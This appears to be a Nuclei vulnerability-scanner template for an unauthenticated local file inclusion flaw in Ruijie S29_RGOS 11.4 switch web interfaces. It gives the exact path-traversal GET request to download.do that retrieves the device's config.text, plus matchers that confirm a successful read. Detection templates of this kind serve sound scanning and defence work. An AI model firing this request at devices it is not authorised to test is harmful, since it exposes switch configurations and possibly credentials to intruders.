漏洞描述
Ruijie Networks Switch eWeb S29_RGOS 11.4 is vulnerable to local file inclusion and allows remote unauthenticated attackers to access locally stored files and retrieve their content via the 'download.do' endpoint.
id: ruijie-networks-lfi
info:
name: Ruijie Networks Switch eWeb S29_RGOS 11.4 - Local File Inclusion
author: pikpikcu
severity: high
description: Ruijie Networks Switch eWeb S29_RGOS 11.4 is vulnerable to local file inclusion and allows remote unauthenticated attackers to access locally stored files and retrieve their content via the 'download.do' endpoint.
reference:
- https://exploit-db.com/exploits/48755
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: ruijie,lfi,edb,vuln
http:
- method: GET
path:
- "{{BaseURL}}/download.do?file=../../../../config.text"
matchers-condition: and
matchers:
- type: word
words:
- 'filename="config.text"'
- "Content-Type: application/octet-stream"
part: header
- type: word
words:
- "version S29_RGOS 11.4"
part: body
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100826fbaa69e6e51945156571414e36410856348042d42165a750a92796e126f97022100cabb99f90eda95728dc42e7689a5eeea071951b30a07a119dc992c810741b677:922c64590222798bb761d5b6d8e72950